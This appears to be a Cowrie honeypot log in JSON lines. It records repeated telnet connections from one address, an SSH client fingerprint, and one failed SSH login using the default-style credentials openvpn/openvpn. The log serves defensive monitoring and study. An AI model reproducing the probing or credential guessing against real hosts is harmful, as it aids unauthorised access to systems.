{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:02.967976Z","src_ip":"202.145.0.61","session":"5bc5b348ccb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51942,"dst_ip":"10.17.0.5","dst_port":23,"session":"7336ca21654a","protocol":"telnet","message":"New connection: 23.111.140.22:51942 (10.17.0.5:23) [session: 7336ca21654a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.194737Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.206072Z","src_ip":"202.145.0.61","session":"5bc5b348ccb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55286,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c192d62b22","protocol":"telnet","message":"New connection: 174.138.46.234:55286 (159.203.135.109:23) [session: 08c192d62b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.492983Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52816,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b486375253f","protocol":"telnet","message":"New connection: 23.111.140.22:52816 (10.17.0.5:23) [session: 4b486375253f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.516133Z"}
{"eventid":"cowrie.session.closed","duration":35.11917185783386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.732622Z","src_ip":"23.111.140.22","session":"696e4735c3af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ec74e0abb1","protocol":"telnet","message":"New connection: 23.111.140.22:53630 (10.17.0.5:23) [session: a1ec74e0abb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.772820Z"}
{"eventid":"cowrie.session.closed","duration":31.65111255645752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.778317Z","src_ip":"23.111.140.22","session":"24d24be289c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74228596687317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:04.829196Z","src_ip":"23.111.140.22","session":"9c8c50adca76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55696,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfaac050a06f","protocol":"telnet","message":"New connection: 174.138.46.234:55696 (159.203.135.109:23) [session: dfaac050a06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:05.037670Z"}
{"eventid":"cowrie.session.closed","duration":30.987619161605835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:05.130534Z","src_ip":"23.111.140.22","session":"fa112ee0bbb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080090522766113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:05.476323Z","src_ip":"23.111.140.22","session":"59da48635ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.604633808135986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:05.865529Z","src_ip":"23.111.140.22","session":"3be160cdc726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b4cbef4214","protocol":"telnet","message":"New connection: 23.111.140.22:54286 (10.17.0.5:23) [session: e4b4cbef4214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:05.958402Z"}
{"eventid":"cowrie.session.closed","duration":30.606494188308716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.121055Z","src_ip":"23.111.140.22","session":"f9db4936f71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57728,"dst_ip":"10.17.0.5","dst_port":23,"session":"a387eca47c7d","protocol":"telnet","message":"New connection: 23.111.140.22:57728 (10.17.0.5:23) [session: a387eca47c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.133482Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57914,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab96bfe6ae03","protocol":"telnet","message":"New connection: 23.111.140.22:57914 (10.17.0.5:23) [session: ab96bfe6ae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.204462Z"}
{"eventid":"cowrie.session.closed","duration":32.153629302978516,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.291758Z","src_ip":"23.111.140.22","session":"dde616f65eed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58546,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b800de18c1","protocol":"telnet","message":"New connection: 23.111.140.22:58546 (10.17.0.5:23) [session: 05b800de18c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.445844Z"}
{"eventid":"cowrie.session.closed","duration":31.17491340637207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.535999Z","src_ip":"23.111.140.22","session":"b911b6a20d32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d638ea30110b","protocol":"telnet","message":"New connection: 23.111.140.22:56544 (10.17.0.5:23) [session: d638ea30110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.757454Z"}
{"eventid":"cowrie.session.closed","duration":31.284159660339355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:06.935486Z","src_ip":"23.111.140.22","session":"a33150996ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35053014755249,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:07.551742Z","src_ip":"23.111.140.22","session":"ff86dafb20bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40716,"dst_ip":"159.203.135.109","dst_port":22,"session":"64dcc09b8eaf","protocol":"ssh","message":"New connection: 194.59.206.2:40716 (159.203.135.109:22) [session: 64dcc09b8eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:07.641529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:07.646667Z","src_ip":"194.59.206.2","session":"64dcc09b8eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.398494720458984,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:07.684675Z","src_ip":"23.111.140.22","session":"24e09cbacfa6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:07.760187Z","src_ip":"194.59.206.2","session":"64dcc09b8eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:07.858667Z","src_ip":"194.59.206.2","session":"64dcc09b8eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.30126166343689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:07.949287Z","src_ip":"23.111.140.22","session":"8f3a8c78e273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97380566596985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:08.087995Z","src_ip":"23.111.140.22","session":"31ae8dc27b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60568,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ab255d977b","protocol":"telnet","message":"New connection: 23.111.140.22:60568 (10.17.0.5:23) [session: 18ab255d977b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:08.158648Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55526,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0582d57c62","protocol":"telnet","message":"New connection: 23.111.140.22:55526 (10.17.0.5:23) [session: 8e0582d57c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:08.432920Z"}
{"eventid":"cowrie.session.closed","duration":31.97585940361023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:08.462110Z","src_ip":"23.111.140.22","session":"113206934e23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36094,"dst_ip":"10.17.0.5","dst_port":23,"session":"2333e2175c67","protocol":"telnet","message":"New connection: 23.111.140.22:36094 (10.17.0.5:23) [session: 2333e2175c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:08.499569Z"}
{"eventid":"cowrie.session.closed","duration":30.809810876846313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:09.112427Z","src_ip":"23.111.140.22","session":"8088209e20e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"93caf469c407","protocol":"telnet","message":"New connection: 23.111.140.22:38236 (10.17.0.5:23) [session: 93caf469c407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:09.233602Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39356,"dst_ip":"10.17.0.5","dst_port":23,"session":"774e8338fe55","protocol":"telnet","message":"New connection: 23.111.140.22:39356 (10.17.0.5:23) [session: 774e8338fe55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:09.616103Z"}
{"eventid":"cowrie.session.closed","duration":30.915738105773926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:09.760610Z","src_ip":"23.111.140.22","session":"e26b74b0c6a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.20148777961731,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:10.187663Z","src_ip":"23.111.140.22","session":"29db78207647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.537588596343994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:10.412669Z","src_ip":"23.111.140.22","session":"1fef2a3b866d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569676399230957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:10.534129Z","src_ip":"23.111.140.22","session":"4f86619e95c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77ec8c696b8","protocol":"telnet","message":"New connection: 23.111.140.22:42596 (10.17.0.5:23) [session: e77ec8c696b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:10.688111Z"}
{"eventid":"cowrie.session.closed","duration":30.838623046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:11.094706Z","src_ip":"23.111.140.22","session":"22a9f2182f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38934278488159,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:11.923080Z","src_ip":"23.111.140.22","session":"01f81fb294f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17878770828247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:12.039103Z","src_ip":"23.111.140.22","session":"55cd09b23409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.250473976135254,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:12.052911Z","src_ip":"23.111.140.22","session":"01ae8082706c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.132453203201294,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:12.741671Z","src_ip":"23.111.140.22","session":"ec6930827c42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49178,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfdba7f632b7","protocol":"telnet","message":"New connection: 23.111.140.22:49178 (10.17.0.5:23) [session: bfdba7f632b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:13.017710Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51228,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a26642dfbc0","protocol":"telnet","message":"New connection: 23.111.140.22:51228 (10.17.0.5:23) [session: 3a26642dfbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:13.764631Z"}
{"eventid":"cowrie.session.closed","duration":115.60875201225281,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:13.885795Z","src_ip":"23.111.140.22","session":"06ee8aa9acc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22222590446472,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:14.285577Z","src_ip":"23.111.140.22","session":"92b3062e01a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.172194719314575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:14.528761Z","src_ip":"23.111.140.22","session":"dc8004d31d0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53556,"dst_ip":"10.17.0.5","dst_port":23,"session":"79b1e92d1a2c","protocol":"telnet","message":"New connection: 23.111.140.22:53556 (10.17.0.5:23) [session: 79b1e92d1a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:14.542410Z"}
{"eventid":"cowrie.session.closed","duration":31.7666494846344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:15.736508Z","src_ip":"23.111.140.22","session":"85d2f7eab9ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192713260650635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:15.861642Z","src_ip":"23.111.140.22","session":"2b3b6ac81ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52425503730774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:16.104781Z","src_ip":"23.111.140.22","session":"1ae6a05a5f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56180,"dst_ip":"10.17.0.5","dst_port":23,"session":"2146a6321dcc","protocol":"telnet","message":"New connection: 23.111.140.22:56180 (10.17.0.5:23) [session: 2146a6321dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:16.408731Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1197db0136c","protocol":"telnet","message":"New connection: 23.111.140.22:32938 (10.17.0.5:23) [session: e1197db0136c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:17.042604Z"}
{"eventid":"cowrie.session.closed","duration":32.59501314163208,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:17.682017Z","src_ip":"23.111.140.22","session":"a8bbe44e2c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635089874267578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:18.186671Z","src_ip":"23.111.140.22","session":"2164aff621d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37084,"dst_ip":"10.17.0.5","dst_port":23,"session":"8501e555001d","protocol":"telnet","message":"New connection: 23.111.140.22:37084 (10.17.0.5:23) [session: 8501e555001d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:18.538180Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37208,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbef3780e47","protocol":"telnet","message":"New connection: 23.111.140.22:37208 (10.17.0.5:23) [session: 6bbef3780e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:18.573222Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37686,"dst_ip":"10.17.0.5","dst_port":23,"session":"6003b5459e69","protocol":"telnet","message":"New connection: 23.111.140.22:37686 (10.17.0.5:23) [session: 6003b5459e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:18.726295Z"}
{"eventid":"cowrie.session.closed","duration":36.778953552246094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:18.861724Z","src_ip":"23.111.140.22","session":"3077efd32185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38409,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed28fcf61241","protocol":"telnet","message":"New connection: 23.111.140.22:38409 (10.17.0.5:23) [session: ed28fcf61241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:18.946871Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36244,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e503e65db2f","protocol":"telnet","message":"New connection: 23.111.140.22:36244 (10.17.0.5:23) [session: 4e503e65db2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:19.230548Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36948,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac8c5b362f66","protocol":"telnet","message":"New connection: 23.111.140.22:36948 (10.17.0.5:23) [session: ac8c5b362f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:19.478153Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44118,"dst_ip":"10.17.0.5","dst_port":23,"session":"7553109cdf83","protocol":"telnet","message":"New connection: 23.111.140.22:44118 (10.17.0.5:23) [session: 7553109cdf83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:19.872175Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45210,"dst_ip":"10.17.0.5","dst_port":23,"session":"410af2f35a60","protocol":"telnet","message":"New connection: 23.111.140.22:45210 (10.17.0.5:23) [session: 410af2f35a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:19.876064Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43336,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3725366891a","protocol":"telnet","message":"New connection: 23.111.140.22:43336 (10.17.0.5:23) [session: d3725366891a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:20.611700Z"}
{"eventid":"cowrie.session.closed","duration":32.056522369384766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:20.904095Z","src_ip":"23.111.140.22","session":"b460b1fbcab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41746,"dst_ip":"10.17.0.5","dst_port":23,"session":"c56b37317d27","protocol":"telnet","message":"New connection: 23.111.140.22:41746 (10.17.0.5:23) [session: c56b37317d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:21.058688Z"}
{"eventid":"cowrie.session.closed","duration":30.411237955093384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:21.181299Z","src_ip":"23.111.140.22","session":"1feef770c926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42568,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbdedffcc68d","protocol":"telnet","message":"New connection: 23.111.140.22:42568 (10.17.0.5:23) [session: cbdedffcc68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:21.362063Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42864,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc2cee2971a1","protocol":"telnet","message":"New connection: 23.111.140.22:42864 (10.17.0.5:23) [session: cc2cee2971a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:21.467175Z"}
{"eventid":"cowrie.session.closed","duration":31.073583841323853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:21.746573Z","src_ip":"23.111.140.22","session":"d33424a81602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.496004104614258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:21.815899Z","src_ip":"23.111.140.22","session":"602f1bce82e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00693678855896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.112937Z","src_ip":"23.111.140.22","session":"d3430b2844b4","protocol":"telnet"}
